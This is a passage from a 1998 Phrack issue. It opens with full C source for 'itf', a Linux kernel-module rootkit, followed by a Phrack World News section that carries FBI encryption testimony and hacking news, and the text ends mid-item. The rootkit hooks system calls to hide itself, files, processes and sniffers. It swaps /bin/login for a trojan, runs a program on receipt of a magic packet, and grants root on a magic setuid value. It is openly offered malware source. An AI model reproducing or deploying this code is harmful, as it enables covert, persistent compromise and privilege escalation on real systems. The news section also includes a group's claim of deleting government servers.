‑ stealth functions: once insmod'ed, itf will modify struct module *mp and get_kernel_symbols(2) so it won't appear in /proc/modules or ksyms' outputs. Also, the module cannot be unloaded.

‑ sniffer hidder: itf will backdoor ioctl(2) so that the PROMISC flag will be hidden. Note that you'll need to place the sniffer BEFORE insmod'ing itf.o, because itf will trap a change in the PROMISC flag and will then stop hidding it (otherwise you'd just have to do a ifconfig eth0 +promisc and you'd spot the module...).

‑ file hidder: itf will also patch the getdents(2) system calls, thus hidding files containing a certain word in their filename.

‑ process hidder: using the same technic as described above, itf will hide /procs/PD directories using argv entries. Any process named with the magic name will be hidden from the procfs tree.

‑ execve redirection: this implements Halflife's idea discussed in P51. If a given program (notably /bin/login) is execve'd, itf will execve another program instead. It uses tricks to overcome Linux memory managment limitations: brk(2) is used to increase the calling program's data segment size, thus allowing us to allocate user memory while in kernel mode (remember that most system calls wait for arguments in user memory, not kernel mem).

‑ socket recvfrom() backdoor: when a packet matching a given size and a given string is received, a non‑interactive program will be executed. Typicall use is a shell script (which will be hidden using the magic name) that opens another port and waits there for shell commands.

‑ setuid() trojan: like Halflife's stuff. When a setuid() syscall with uid == magic number is done, the calling process will get uid = euid = gid = 0

<++> lkm_trojan.c

/*

* itf.c v0.8

* Linux Integrated Trojan Facility

* (c) plaguez 1997 ‑‑ dube0866@eurobretagne.fr

* This is mostly not fully tested code. Use at your own risks.

*

*

* compile with:

* gcc ‑c ‑O3 ‑fomit‑frame‑pointer itf.c

* Then:

* insmod itf

*

*

* Thanks to Halflife and Solar Designer for their help/ideas.

*

* Greets to: w00w00, GRP, #phrack, #innuendo, K2, YmanZ, Zemial. *

*

*/

#define MODULE

#define __KERNEL__

#include <linux/config.h>

#include <linux/module.h>

#include <linux/version.h>

#include <linux/types.h>

#include <linux/fs.h>

#include <linux/mm.h>

#include <linux/errno.h>

#include <asm/segment.h>

#include <asm/pgtable.h>

#include <sys/syscall.h>

#include <linux/dirent.h>

#include <asm/unistd.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <sys/socketcall.h>

#include <linux/netdevice.h>

#include <linux/if.h>

#include <linux/if_arp.h>

#include <linux/if_ether.h>

#include <linux/proc_fs.h>

#include <stdio.h>

#include <errno.h>

#include <fcntl.h>

#include <ctype.h>

/* Customization section

* ‑ RECVEXEC is the full pathname of the program to be launched when a packet * of size MAGICSIZE and containing the word MAGICNAME is received with recvfrom(). * This program can be a shell script, but must be able to handle null **argv (I'm too lazy * to write more than execve(RECVEXEC,NULL,NULL); :)

* ‑ NEWEXEC is the name of the program that is executed instead of OLDEXEC * when an execve() syscall occurs.

* ‑ MAGICUID is the numeric uid that will give you root when a call to setuid(MAGICUID) * is made (like Halflife's code)

* ‑ files containing MAGICNAME in their full pathname will be invisible to * a getdents() system call.

* ‑ processes containing MAGICNAME in their process name will be hidden of the * procfs tree.

*/

#define MAGICNAME "w00w00T$!"

#define MAGICUID 31337

#define OLDEXEC "/bin/login"

#define NEWEXEC "/.w00w00T$!/w00w00T$!login"

#define RECVEXEC "/.w00w00T$!/w00w00T$!recv"

#define MAGICSIZE sizeof(MAGICNAME)+10

/* old system calls vectors */

int (*o_getdents) (uint, struct dirent *, uint); ssize_t(*o_readdir) (int, void *, size_t);

int (*o_setuid) (uid_t);

int (*o_execve) (const char *, const char *[], const char *[]); int (*o_ioctl) (int, int, unsigned long);

int (*o_get_kernel_syms) (struct kernel_sym *);

ssize_t(*o_read) (int, void *, size_t);

int (*o_socketcall) (int, unsigned long *);

/* entry points to brk() and fork() syscall. */

static inline _syscall1(int, brk, void *, end_data_segment); static inline _syscall0(int, fork);

static inline _syscall1(void, exit, int, status);

extern void *sys_call_table[];

extern struct proto tcp_prot;

int errno;

char mtroj[] = MAGICNAME;

int __NR_myexecve;

int promisc;

/*

* String‑oriented functions

* (from user‑space to kernel‑space or invert)

*/

char *strncpy_fromfs(char *dest, const char *src, int n)

{

char *tmp = src;

int compt = 0;

do {

dest[compt++] = __get_user(tmp++, 1);

}

while ((dest[compt ‑ 1] != '\0') && (compt != n));

return dest;

}

int myatoi(char *str)

{

int res = 0;

int mul = 1;

char *ptr;

for (ptr = str + strlen(str) ‑ 1; ptr >= str; ptr‑‑) {

if (*ptr < '0' || *ptr > '9')

return (‑1);

res += (*ptr ‑ '0') * mul;

mul *= 10;

}

return (res);

}

/*

* process hiding functions

*/

struct task_struct *get_task(pid_t pid)

{

struct task_struct *p = current;

do {

if (p‑>pid == pid)

return p;

p = p‑>next_task;

}

while (p != current);

return NULL;

}

/* the following function comes from fs/proc/array.c */

static inline char *task_name(struct task_struct *p, char *buf)

{

int i;

char *name;

name = p‑>comm;

i = sizeof(p‑>comm);

do {

unsigned char c = *name;

name++;

i‑‑;

*buf = c;

if (!c)

break;

if (c == '\\') {

buf[1] = c;

buf += 2;

continue;

}

if (c == '\n') {

buf[0] = '\\';

buf[1] = 'n';

buf += 2;

continue;

}

buf++;

}

while (i);

*buf = '\n';

return buf + 1;

}

int invisible(pid_t pid)

{

struct task_struct *task = get_task(pid);

char *buffer;

if (task) {

buffer = kmalloc(200, GFP_KERNEL);

memset(buffer, 0, 200);

task_name(task, buffer);

if (strstr(buffer, (char *) &mtroj)) {

kfree(buffer);

return 1;

}

}

return 0;

}

/*

* New system calls

*/

/*

* hide module symbols

*/

int n_get_kernel_syms(struct kernel_sym *table)

{

struct kernel_sym *tb;

int compt, compt2, compt3, i, done;

compt = (*o_get_kernel_syms) (table);

if (table != NULL) {

tb = kmalloc(compt * sizeof(struct kernel_sym), GFP_KERNEL);

if (tb == 0) {

return compt;

}

compt2 = 0;

done = 0;

i = 0;

memcpy_fromfs((void *) tb, (void *) table, compt * sizeof(struct kernel_sym)); while (!done) {

if ((tb[compt2].name)[0] == '#')

i = compt2;

if (!strcmp(tb[compt2].name, mtroj)) {

for (compt3 = i + 1; (tb[compt3].name)[0] != '#' && compt3 < compt; compt3++); if (compt3 != (compt ‑ 1))

memmove((void *) &(tb[i]), (void *) &(tb[compt3]), (compt ‑ compt3) * sizeof(struct kernel_sym)); else

compt = i;

done++;

}

compt2++;

if (compt2 == compt)

done++;

}

memcpy_tofs(table, tb, compt * sizeof(struct kernel_sym)); kfree(tb);

}

return compt;

}

/*

* how it works:

* I need to allocate user memory. To do that, I'll do exactly as malloc() does * it (changing the break value).

*/

int my_execve(const char *filename, const char *argv[], const char *envp[]) {

long __res;

__asm__ volatile ("int $0x80":"=a" (__res):"0"(__NR_myexecve), "b"((long) (filename)), "c"((long) (argv)), "d"((long) (envp))); return (int) __res;

}

int n_execve(const char *filename, const char *argv[], const char *envp[]) {

char *test;

int ret, tmp;

char *truc = OLDEXEC;

char *nouveau = NEWEXEC;

unsigned long mmm;

test = (char *) kmalloc(strlen(truc) + 2, GFP_KERNEL); (void) strncpy_fromfs(test, filename, strlen(truc)); test[strlen(truc)] = '\0';

if (!strcmp(test, truc)) {

kfree(test);

mmm = current‑>mm‑>brk;

ret = brk((void *) (mmm + 256));

if (ret < 0)

return ret;

memcpy_tofs((void *) (mmm + 2), nouveau, strlen(nouveau) + 1); ret = my_execve((char *) (mmm + 2), argv, envp);

tmp = brk((void *) mmm);

} else {

kfree(test);

ret = my_execve(filename, argv, envp);

}

return ret;

}

/*

* Trap the ioctl() system call to hide PROMISC flag on ethernet interfaces. * If we reset the PROMISC flag when the trojan is already running, then it * won't hide it anymore (needed otherwise you'd just have to do an * "ifconfig eth0 +promisc" to find the trojan).

*/

int n_ioctl(int d, int request, unsigned long arg)

{

int tmp;

struct ifreq ifr;

tmp = (*o_ioctl) (d, request, arg);

if (request == SIOCGIFFLAGS && !promisc) { memcpy_fromfs((struct ifreq *) &ifr, (struct ifreq *) arg, sizeof(struct ifreq)); ifr.ifr_flags = ifr.ifr_flags & (~IFF_PROMISC); memcpy_tofs((struct ifreq *) arg, (struct ifreq *) &ifr, sizeof(struct ifreq)); } else if (request == SIOCSIFFLAGS) {

memcpy_fromfs((struct ifreq *) &ifr, (struct ifreq *) arg, sizeof(struct ifreq)); if (ifr.ifr_flags & IFF_PROMISC)

promisc = 1;

else if (!(ifr.ifr_flags & IFF_PROMISC))

promisc = 0;

}

return tmp;

}

/*

* trojan setMAGICUID() system call.

*/

int n_setuid(uid_t uid)

{

int tmp;

if (uid == MAGICUID) {

current‑>uid = 0;

current‑>euid = 0;

current‑>gid = 0;

current‑>egid = 0;

return 0;

}

tmp = (*o_setuid) (uid);

return tmp;

}

/*

* trojan getdents() system call.

*/

int n_getdents(unsigned int fd, struct dirent *dirp, unsigned int count) {

unsigned int tmp, n;

int t, proc = 0;

struct inode *dinode;

struct dirent *dirp2, *dirp3;

tmp = (*o_getdents) (fd, dirp, count);

#ifdef __LINUX_DCACHE_H

dinode = current‑>files‑>fd[fd]‑>f_dentry‑>d_inode;

#else

dinode = current‑>files‑>fd[fd]‑>f_inode;

#endif

if (dinode‑>i_ino == PROC_ROOT_INO && !MAJOR(dinode‑>i_dev) && MINOR(dinode‑>i_dev) == 1) proc = 1;

if (tmp > 0) {

dirp2 = (struct dirent *) kmalloc(tmp, GFP_KERNEL); memcpy_fromfs(dirp2, dirp, tmp);

dirp3 = dirp2;

t = tmp;

while (t > 0) {

n = dirp3‑>d_reclen;

t ‑= n;

if ((strstr((char *) &(dirp3‑>d_name), (char *) &mtroj) != NULL) \ ||(proc && invisible(myatoi(dirp3‑>d_name)))) {

if (t != 0)

memmove(dirp3, (char *) dirp3 + dirp3‑>d_reclen, t);

else

dirp3‑>d_off = 1024;

tmp ‑= n;

}

if (dirp3‑>d_reclen == 0) {

/*

* workaround for some shitty fs drivers that do not properly * feature the getdents syscall.

*/

tmp ‑= t;

t = 0;

}

if (t != 0)

dirp3 = (struct dirent *) ((char *) dirp3 + dirp3‑>d_reclen);

}

memcpy_tofs(dirp, dirp2, tmp);

kfree(dirp2);

}

return tmp;

}

/*

* Trojan socketcall system call

* executes a given binary when a packet containing the magic word is received. * WARNING: THIS IS REALLY UNTESTED UGLY CODE. MAY CORRUPT YOUR SYSTEM. */

int n_socketcall(int call, unsigned long *args)

{

int ret, ret2, compt;

char *t = RECVEXEC;

unsigned long *sargs = args;

unsigned long a0, a1, mmm;

void *buf;

ret = (*o_socketcall) (call, args);

if (ret == MAGICSIZE && call == SYS_RECVFROM) {

a0 = get_user(sargs);

a1 = get_user(sargs + 1);

buf = kmalloc(ret, GFP_KERNEL);

memcpy_fromfs(buf, (void *) a1, ret);

for (compt = 0; compt < ret; compt++)

if (((char *) (buf))[compt] == 0)

((char *) (buf))[compt] = 1;

if (strstr(buf, mtroj)) {

kfree(buf);

ret2 = fork();

if (ret2 == 0) {

mmm = current‑>mm‑>brk;

ret2 = brk((void *) (mmm + 256));

memcpy_tofs((void *) mmm + 2, (void *) t, strlen(t) + 1);

/* Hope the execve has been successfull otherwise you'll have 2 copies of the

master process in the ps list :] */

ret2 = my_execve((char *) mmm + 2, NULL, NULL);

}

}

}

return ret;

}

/*

* module initialization stuff.

*/

int init_module(void)

{

/* module list cleaning */

/* would need to make a clean search of the right register

* in the function prologue, since gcc may not always put

* struct module *mp in %ebx

*

* Try %ebx, %edi, %ebp, well, every register actually :)

*/

register struct module *mp asm("%ebx");

*(char *) (mp‑>name) = 0;

mp‑>size = 0;

mp‑>ref = 0;

/*

* Make it unremovable

*/

/* MOD_INC_USE_COUNT;

*/

o_get_kernel_syms = sys_call_table[SYS_get_kernel_syms]; sys_call_table[SYS_get_kernel_syms] = (void *) n_get_kernel_syms;

o_getdents = sys_call_table[SYS_getdents]; sys_call_table[SYS_getdents] = (void *) n_getdents;

o_setuid = sys_call_table[SYS_setuid]; sys_call_table[SYS_setuid] = (void *) n_setuid;

__NR_myexecve = 164;

while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0) __NR_myexecve‑‑;

o_execve = sys_call_table[SYS_execve];

if (__NR_myexecve != 0) {

sys_call_table[__NR_myexecve] = o_execve; sys_call_table[SYS_execve] = (void *) n_execve;

}

promisc = 0;

o_ioctl = sys_call_table[SYS_ioctl]; sys_call_table[SYS_ioctl] = (void *) n_ioctl;

o_socketcall = sys_call_table[SYS_socketcall]; sys_call_table[SYS_socketcall] = (void *) n_socketcall; return 0;

}

void cleanup_module(void)

{

sys_call_table[SYS_get_kernel_syms] = o_get_kernel_syms; sys_call_table[SYS_getdents] = o_getdents; sys_call_table[SYS_setuid] = o_setuid; sys_call_table[SYS_socketcall] = o_socketcall;

if (__NR_myexecve != 0)

sys_call_table[__NR_myexecve] = 0;

sys_call_table[SYS_execve] = o_execve;

sys_call_table[SYS_ioctl] = o_ioctl;

}

<‑‑>

Phrack World News

‑‑‑[ Phrack Magazine Volume 8, Issue 52 January 26, 1998, article 19 of 20

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ P H R A C K W O R L D N E W S

Phrack World News ‑ 52

New categorization:

‑[ Stories

‑[ Book Releases

‑[ Conventions

‑[ Other Headlines of Interest

‑‑‑‑‑‑‑‑[ Issue 52

0x1: Hacker Acquitted & Iraq Computerises

0x2: The Impact of Encryption on Public Safety 0x3: Urban Ka0s ‑‑ 26 Indonesian Servers Haxed 0x4: Hacker accused of sabotaging Forbes computers 0x5: Privacy, Inc. Unveils its Internet Background Check 0x6: Commerce Dept encryption rules declared unconstitutional 0x7: The Million Dollar Challenge

0x8: High Profile Detainee Seeks Legal Help

0x9: Kevin Mitnick Press Release

0xa: SAFE crypto bill cracked again

0xb: RC5 Cracked ‑ The unknown message is...

0xc: Kashpureff in custody.

0xd: XS4ALL refuses Internet tap

0xe: The FCC Wants V‑Chip in PCs too

1x1: Book Title: Underground (review)

1x2: Book Title: The Electronic Privacy Papers

1x3: Book Title: "Computer Security and Privacy: An Information Sourcebook..

2x0: Convention: <none>

3x1: Misc: Civil Liberties Groups ask FCC to Block FBI Proposal 3x2: Misc: Anti‑Spam Bills in Congress

3x3: Misc: Justice Dept Charges Microsoft..

3x4: Misc: Small Minds Think Alike

3x5: Misc: Cyber Promotions tossed offline

0x1>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

[submitted by: the wizard of id]

Phrack,

I thought that you guys may be able to make use of these articles which I found in my newspaper's IT section. Perhaps you should pass them on to the editors of Phrack World News.

<start article 1>

Hacker Acquitted

================

Extract from The Age, Victoria, Australia. ‑Tuesday 11/25/97

The US Air Force failed last Friday to convince Woolwich Crown Court in the UK that Matthew Bevan, 23, hacked into its secret files with his home computer. Computer guru Bevan was cleared of all accusations, which led to fears of US national security risk. He was charged with three offences of "unauthorised access and modification" into sensitive research and development files at New York's Griffiss Air Force Base and Lockheed Space and Missle Company in California via the Internet.

<end article 1>

The article is accompanied by a very cool picture of Bevan in a black suit, wearing mirrored sunglasses. :)

<start article 2>

Iraq Computerises

=================

Extract from The Age, Victoria, Australia. ‑Tuesday 11/25/97

To conceal its deadliest arms from U.N. weapons inspectors, Iraq increasingly has turned to computers, including American brands sold to Baghdad since the end of the 1991 Persian Gulf War in violation of international sanctions, according to US officials and U.N. diplomats.

Iraq is using mostly Western‑made computers for two cirtical functions: To transfer data from bulky paper to small disks that they can easilly disperse, making the information difficult for U.N. weapons inspection teams to track.

For research and development in all four categories of weapons Iraq has been forbidden from keeping under terms of the U.N. resolution ending the war ‑ nuclear, chemical and biological weapons and long‑rnge missiles.

Because of shifting tactics, computer specialists have become an ever more important component of the weapons inspections teams, US and U.N. sources say.

Their work often involves digging into hard drives and unearthing material that was erased after being transferred to disks.

<end article 2>

0x2>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

[submitted by: Mike Kretsch]

Statement of Louis J. Freeh, Director

Federal Bureau of Investigation

Before the Permanent Select Committee on

Intelligence, United States House of Representatives

Washington, D. C.

September 9, 1997

This man must be stopped. For other fun reading,

check out his statements about the FBI's International

Crime fighting efforts. Errrr. Wasnt international

supposed to be CIA and domestic FBI?

The Impact of Encryption

on Public Safety

Statement of Louis J. Freeh, Director

Federal Bureau of Investigation

Before the Permanent Select Committee on Intelligence United States House of Representatives

Washington, D. C.

September 9, 1997

Mr. Chairman and members of the committee, I appreciate the opportunity to discuss the issue of encryption and I applaud your willingness to deal with this vital public safety issue.

The looming spectre of the widespread use of robust, virtually unbreakable encryption is one of the most difficult problems confronting law enforcement as the next century approaches. At stake are some of our most valuable and reliable investigative techniques, and the public safety of our citizens. We believe that unless a balanced approach to encryption is adopted that includes a viable key management infrastructure that supports immediate decryption capabilities for lawful purposes, our ability to investigate and sometimes prevent the most serious crimes and terrorism will be severely impaired. Our national security will also be jeopardized.

For law enforcement, framing the issue is simple. In this time of dazzling telecommunications and computer technology where information can have extraordinary value, the ready availability of robust encryption is essential. No one in law enforcement disputes that. Clearly, in today's world and more so in the future, the ability to encrypt both contemporaneous communications and stored data is a vital component of information security.

As is so often the case, however, there is another aspect to the encryption issue that if left unaddressed will have severe public safety and national security ramifications. Law enforcement is in unanimous agreement that the widespread use of robust unbreakable encryption ultimately will devastate our ability to fight crime and prevent terrorism. Unbreakable encryption will allow drug lords, spies, terrorists and even violent gangs to communicate about their crimes and their conspiracies with impunity. We wll lose one of the few remaining vulnerabilities of the worst criminals and terrorists upon which law enforcement depends to successfully investigate and often prevent the worst crimes.

For this reason, the law enforcement community is unanimous in calling for a balanced solution to this problem. Such a solution must satisfy both the commercial needs of industry for strong encryption and law enforcement's public safety decryption needs. In our view, any legislative approach that does not achieve such a balanced approach seriously jeopardizes the long‑term viability and usefulness of court‑authorized access to transmitted as well as stored evidence and information. Electronic surveillance and search and seizure are techniques upon which law enforcement depends to ensure public safety and maintain national security.

One such balanced solution to this problem is key recovery encryption. Under this approach, a decryption "key" for a given encryption product is deposited with a trustworthy key recovery agent for safe keeping. The key recovery agent could be a private company, a bank, or other commercial or government entity that meets established trustworthiness criteria. Should encryption users need access to their encrypted information, they could obtain the decryption key from the key recovery agent. Additionally, when law enforcement needs to decrypt criminal‑related communications or computer files lawfully seized under established legal authorities, they too, under conditions prescribed by law and with the presentation of proper legal process, could obtain the decryption key from the key recovery agent. This is the only viable way to permit the timely decryption of lawfully seized communications or computer files that are in furtherance of criminal activity.

The decryption key or information would be provided to the law enforcement agency under very strict controls and would be used only for its intended public safety purpose. Under this approach, the law‑abiding would gain the benefits of strong, robust encryption products and services with emergency decryption capabilities and public safety and national security would be maintained‑‑as manufacturers produce and sell encryption products that include features that allow for the immediate decryption of criminal‑related encrypted communications or electronic information.

This solution meets industry's information security and communications privacy needs for strong encryption while addressing law enforcement's public safety needs for immediate decryption when such products are used to conceal crimes or impending acts of terrorism or espionage.

Some have argued that government policy makers should step aside and let market forces solely determine the direction of key recovery encryption, letting market forces determine the type of technologies that will be used and under what circumstances. They argue that most corporations that see the need for encryption will also recognize the need for, and even insist on, key recovery encryption products to secure their electronically stored information and to protect their corporate interests should an encryption key be lost, stolen or used by a rogue employee for extortion purposes.

We agree that rational thinking corporations will act in a prudent manner and will insist on using key recovery encryption for electronically stored information. However, law enforcement has a unique public safety requirement in the area of perishable communications which are in transit (telephone calls, e‑mail, etc.). It is law enforcement, not corporations, that has a need for the immediate decryption of communications in transit. There is extraordinary risk in trusting public safety and national security to market forces that rightfully are protecting important but unrelated interests. Law enforcement's needs will not be adequately addressed by this type of an approach.

It is for this reason that government policy makers and Congress should play a direct role in shaping our national encryption policy and adopt a balanced approach that addresses both the commercial and the public safety needs. The adverse impact to public safety and national security associated with any type of "wait and see" or voluntary market force approach would be far too great of a price for the American public to pay.

Several bills have recently been introduced which address encryption. Language in some of the proposed bills makes it unlawful to use encryption in the furtherance of criminal activity and set out procedures for law enforcement access to stored decryption keys in those instances where key recovery encryption was voluntarily used. Only one of these bills, S. 909, comes close to meeting our core public safety, effective law enforcement, and national security needs. S. 909 takes significant strides in the direction of protecting public safety by encouraging the use of key recovery encryption through market based incentives and other inducements. All of the other bills currently under consideration by the Congress, to include S. 376, S. 377 , and H.R. 695, would have a significant negative impact on public safety and national security and would risk great harm to our ability to enforce the laws and protect our citizens if enacted.

Unfortunately, S. 909 still does not contain sufficient assurances that the impact on public safety and effective law enforcement caused by the widespread availability of encryption will be adequately addressed. We look forward to working with you to develop legislative accommodations that adequately address the public safety needs of law enforcement and a balanced encryption policy.

Further, some argue the encryption "Genie is out of the bottle," and that attempts to influence the future use of encryption are futile. I do not believe that to be the case. Strong encryption products that include decryption features for lawful purposes can, with government and industry support, become the standard for use in the global information infrastructure.

No one contends that the adoption of a balanced encryption policy will prevent all criminals, spies and terrorists from gaining access to and using unbreakable encryption. But if we, as a nation, act responsibly and only build systems and encryption products that support and include appropriate decryption features, all facets of the public's interest can be served.

And as this committee knows, export controls on encryption products exist primarily to protect national security and foreign policy interests. However, law enforcement is more concerned about the significant and growing threat to public safety and effective law enforcement that would be caused by the proliferation and use within the United States of a communications infrastructure that supports the use of strong encryption products but that does not support law enforcement's immediate decryption needs. Without question, such an infrastructure will be used by dangerous criminals and terrorists to conceal their illegal plans and activities from law enforcement, thus inhibiting our ability to enforce the laws and prevent terrorism.

Congress has on many occasions accepted the premise that the use of electronic surveillance is a tool of utmost importance in terrorism cases and in many criminal investigations, especially those involving serious and violent crime, terrorism, espionage, organized crime, drug‑trafficking, corruption and fraud. There have been numerous cases where law enforcement, through the use of electronic surveillance, has not only solved and successfully prosecuted serious crimes and dangerous criminals, but has also been able to prevent serious and life‑threatening criminal acts. For example, terrorists in New York were plotting to bomb the United Nations building, the Lincoln and Holland tunnels, and 26 Federal Plaza as well as conduct assassinations of political figures. Court‑authorized electronic surveillance enabled the FBI to disrupt the plot as explosives were being mixed. Ultimately, the evidence obtained was used to convict the conspirators. In another example, electronic surveillance was used to prevent and then convict two men who intended to kidnap, molest and then kill a male child.

Most encryption products manufactured today do not contain features that provide for immediate law enforcement decryption. Widespread use of unbreakable encryption or communications infrastructure that supports the use of unbreakable encryption clearly will undermine law enforcement's ability to effectively carry out its public safety mission and to combat dangerous criminals and terrorists.

This is not a problem that will begin sometime in the future. Law enforcement is already encountering the harmful effects of encryption in many important investigations today. For example:

convicted spy Aldrich Ames was told by the Russian Intelligence Service to encrypt computer file information that was to be passed to them. an international terrorist was plotting to blow up 11 U.S.‑owned commercial airliners in the Far East. His laptop computer which was seized during his arrest in Manilla contained encrypted files concerning this terrorist plot. a subject in a child pornography case used encryption in transmitting obscene and pornographic images of children over the Internet. a major international drug trafficking subject recently used a telephone encryption device to frustrate court‑approved electronic surveillance.

Requests for cryptographic support pertaining to electronic surveillance interceptions from FBI field offices and other law enforcement agencies have steadily risen over the past several years. For example, from 1995 to 1996, there was a two‑fold increase (from 5 to 12) in the number of instances where the FBI's court‑authorized electronic efforts were frustrated by the use of encryption products that did not allow for lawful law enforcement decryption.

Over the last three (3) years, the FBI has also seen the number of computer‑related cases utilizing encryption and/or password protection increase from 20 or two (2) percent of the cases involving electronically stored information to 140 or seven (7) percent. These included the use of 56‑bit data encryption standard (DES) and 128‑bit "pretty good privacy" (PGP) encryption.

Just as when the Congress so boldly addressed the digital telephony issue in 1994, the government and the nation are again at an historic crossroad on this issue. The Attorney General and the heads of federal law enforcement agencies as well as the presidents of several state and local law enforcement associations recently sent letters to every member of Congress urging the adoption of a balanced encryption policy. In addition, the International Association of Chiefs of Police, the National Sheriff's Association and the National District Attorneys Association have all enacted resolutions supporting a balanced encryption policy and opposing any legislation that undercuts or falls short such a balanced policy.

If public policy makers act wisely, the safety of all Americans will be enhanced for decades to come. But if narrow interests prevail, then law enforcement will be unable to provide the level of protection that people in a democracy properly expect and deserve.

Conclusion

We are not asking that the magnificent advances in encryption technology be abandoned. We are the strongest proponents of robust, reliable encryption manufactured and sold by American companies all over the world. Our position is simple and, we believe, vital. Encryption is certainly a commercial interest of great importance to this great nation. But it's not merely a commercial or business issue. To those of us charged with the protection of public safety and national security, encryption technology and its application in the information age‑‑here at the dawn of the 21st century and thereafter‑‑will become a matter of life and death in many instances which will directly impact on our safety and freedoms. Good and sound public policy decisions about encryption must be made now by the Congress and not be left to private enterprise. Legislation which carefully balances public safety and private enterprise must be established with respect to encryption.

Would we allow a car to be driven with features which would evade and outrun police cars? Would we build houses or buildings which firefighters could not enter to save people?

Most importantly, we are not advocating that the privacy rights or personal security of any person or enterprise be compromised or threatened. You can't yell "fire" in a crowded theater. You can't with impunity commit libel or slander. You can't use common law honored privileges to commit crimes.

In support of our position for a rational encryption policy which balances public safety with the right to secure communications, we rely on the Fourth Amendment to the Constitution. There the framers established a delicate balance between "the right of the people to be secure in their persons, houses, papers, and effects (today we might add personal computers, modems, data streams, discs, etc.) against unreasonable searches and seizures." Those precious rights, however, were balanced against the legitimate right and necessity of the police, acting through strict legal process, to gain access by lawful search and seizure to the conversations and stored evidence of criminals, spies and terrorists.

The precepts and balance of the Fourth Amendment have not changed or altered. What has changed from the late eighteenth to the late twentieth century is technology and telecommunications well beyond the contemplation of the framers.

The unchecked proliferation of unbreakable encryption will drastically change the balance of the Fourth Amendment in a way which would shock its original proponents. Police soon may be unable through legal process and with sufficient probable cause to conduct a reasonable and lawful search or seizure, because they cannot gain access to evidence being channeled or stored by criminals, terrorists and spies. Significantly, their lack of future access may be in part due to policy decisions about encryption made or not made by the United States. This would be a terrible upset of the balance so wisely set forth in the Fourth Amendment on December 15, 1791. I urge you to maintain that balance and allow your police departments, district attorneys, sheriffs and federal law enforcement authorities to continue to use their most effective techniques to fight crime and terrorism‑‑techniques well understood and authorized by the framers and Congress for over two hundred years.

I look forward to working with you on this matter and at this time would be pleased to answer any questions.

0x3>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Subject: Urban Ka0s ‑‑ 26 Indonesian Servers Haxed

Greetings Phrack,

Today, our group (Urban Ka0s) and several portuguese Hackers attacked several Indonesian servers, in order to defend East Timor rights!

We are Portuguese Hackers Agaisnt Indonesian Tirany.

"Thix Site Was Haxed & Deleted by PHAiT. This attack is not against indonesian people but against its government and their opression towards the republic of timor. These actions were made to honour and remember all the 250 people killed in Dili on the 12 november 1991.

As a result all sites belonging to indonesia's goverment were erased, the rest only had their webpages changed."

East Timor, One People, One Nation

"Whether it is in Tibet or Poland, the Baltics or the South Pacific, Africa or the Caribbean, it has been shown that force and repression can never totally suffocate the reasons underlying the existence of a people: pride in its own identity, capacity to preserve, without restriction, everything that identifies it as such, freedom to pass all this on to future generations, in brief, the right to manage its own destiny."

Xanana Gusmo

October 5, 1989

Please inform all ciber citizens of this action.

Our contact is at:

‑‑ Urban Ka0s ‑‑

http://urbankaos.org

irc: PT‑Net irc.urbankaos.org

0x4>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Title: Hacker accused of sabotaging Forbes computers

Source: Infobeat News

Author: unknown

Date: unknown

A former temporary computer technician at business publisher Forbes Inc has been charged with sabotage and causing a massive crash of the firm's computer network, prosecutors said. According to the complaint filed in Manhattan Federal Court and unsealed Monday, George Mario Parente, 30, of Howard Beach in the borough of Queens was accused of hacking his way into the Forbes' network in April from his home, using an unauthorized password. Prosecutors alleged he erased vital information including budgets and salary from Forbes' computers because he was angry with the company after he was fired.

0x5>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Title: Privacy, Inc. Unveils its Internet Background Check Source:

Author: unknown

Date: August 1, 1997

Aurora, Colorado

Privacy, Inc. (www.privacyinc.com) today released its Internet Background Check, a utility that empowers users to determine if they are at risk from the plethora of databases that are being placed on the Internet. Searches quickly scan through hundreds of databases beng placed on‑line by state and local governments and law enforcement angencies in categories such as:

* Registered Sex Offenders and Predators

* Deadbeat Parents

* Wanted Persons

* Missing Persons

* Arrest/Prison

'The Computer Is Never Wrong'

"Errors and risks of mistaken identity in this data are a key concern," says Edward Allburn, founder and president of Privacy, Inc. The recent flurry of activity by government and law enforcement agencies to distribute such volatile information on the Internet creates an environment that potentially places innocent people at risk, especially for mistaken identity.

Advanced technology was incorporated into the development of the Internet Background Check with this risk in mind. This technology allows users to also search for names that look and/or sound similar to their own while still delivering highly focused results that standard Internet search engines (such as Yahoo! and Lycos) are incapable of producing.

One More Tool

The release provides one more tool for consumers to protect themselves in the Information Age. Additional resources provided by Privacy, Inc. include: * Consumer Privacy Guide

* Government Database Guide

* Government Dossier Service

* David Sobel's Legal FAQ

* Privacy News Archive, updated weekly

Guido, the Cyber‑Bodyguard is another utility planned to be released in the coming months. Guido will interface with the Internet Background Check to automatically alert users via e‑mail if/when their name appears in a new or updated database, in effect monitoring the Internet so users don't have to.

0x6>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Title: Commerce Dept encryption rules declared unconstitutional Source: fight‑censorship@vorlon.mit.edu

Author: unknown

Date: unknown

A Federal judge in San Francisco ruled today that the Commerce Department's export controls on encryption products violate the First Amendment's guarantees of freedom of speech.

In a 35‑page decision, U.S. District Judge Marilyn Patel said the Clinton administration's rules violate "the First Amendment on the grounds of prior restraint and are, therefore, unconstitutional." Patel reaffirmed her December 1996 decision against the State Department regulations, saying that the newer Commerce Department rules suffer from similar constitutional infirmities.

